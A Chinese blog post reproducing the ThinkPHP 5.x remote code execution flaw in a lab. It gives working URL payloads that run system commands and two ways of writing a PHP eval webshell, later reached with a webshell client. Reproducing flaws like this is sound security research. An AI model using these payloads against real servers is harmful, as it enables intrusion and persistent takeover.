ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
php设计模式 Singleton(单例模式)
Jun 26 PHP
兼容firefox,chrome的网页灰度效果
Aug 08 PHP
PHP判断搜索引擎蜘蛛并自动记忆到文件的代码
Feb 04 PHP
PHP执行批量mysql语句的解决方法
May 02 PHP
基于PHP选项与信息函数的使用详解
May 10 PHP
PHP APC的安装与使用详解
Jun 13 PHP
ThinkPHP中自定义错误页面和提示页面实例
Nov 22 PHP
PHP中的switch语句的用法实例详解
Oct 21 PHP
laravel自定义分页效果
Jul 23 PHP
thinkPHP5框架auth权限控制类与用法示例
Jun 12 PHP
解决thinkphp5未定义变量会抛出异常,页面错误,请稍后再试的问题
Oct 16 PHP
Thinkphp集成抖音SDK的实现方法
Apr 28 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
MySQL的FIND_IN_SET函数使用方法分享
2012/03/27 PHP
php检测iis环境是否支持htaccess的方法
2014/02/18 PHP
百万级别知乎用户数据抓取与分析之PHP开发
2015/09/28 PHP
php将文件夹打包成zip文件的简单实现方法
2016/10/04 PHP
ThinkPHP 整合Bootstrap Ajax分页样式
2016/12/23 PHP
用javascript连接access数据库的方法
2006/11/17 Javascript
javascript 新浪背投广告实现代码
2009/07/07 Javascript
加载 Javascript 最佳实践
2011/10/30 Javascript
jquery模拟SELECT下拉框取值效果
2013/10/23 Javascript
Knockout数组(observable)使用详解示例
2013/11/15 Javascript
jQuery中first()方法用法实例
2015/01/06 Javascript
EasyUI中combobox默认值注意事项
2015/03/01 Javascript
jquery插件bxslider用法实例分析
2015/04/16 Javascript
jQuery实现标题有打字效果的焦点图代码
2015/11/16 Javascript
javascript的document中的动态添加标签实现方法
2016/10/24 Javascript
jQuery用noConflict代替$的实现方法
2017/04/12 jQuery
Angular 利用路由跳转到指定页面的指定位置方法
2018/08/31 Javascript
vue项目中锚点定位替代方式
2019/11/13 Javascript
复制粘贴功能的Python程序
2008/04/04 Python
Python中的__new__与__init__魔术方法理解笔记
2014/11/08 Python
Flask的图形化管理界面搭建框架Flask-Admin的使用教程
2016/06/13 Python
Python编写简单的HTML页面合并脚本
2016/07/11 Python
Python生成密码库功能示例
2017/05/23 Python
Python3 安装PyQt5及exe打包图文教程
2019/01/08 Python
Python使用scipy模块实现一维卷积运算示例
2019/09/05 Python
Python之Django自动实现html代码(下拉框,数据选择)
2020/03/13 Python
Java Unsafe类实现原理及测试代码
2020/09/15 Python
简单叙述一下MYSQL的优化
2016/05/09 面试题
管理部部长岗位职责
2013/12/05 职场文书
汽车机修工岗位职责
2014/03/06 职场文书
理想点亮人生演讲稿
2014/05/21 职场文书
四风查摆剖析材料
2014/10/10 职场文书
离婚财产分隔协议书
2014/10/23 职场文书
店长岗位职责
2015/02/11 职场文书
校运会通讯稿
2015/07/18 职场文书
2016教师国培研修感言
2015/12/08 职场文书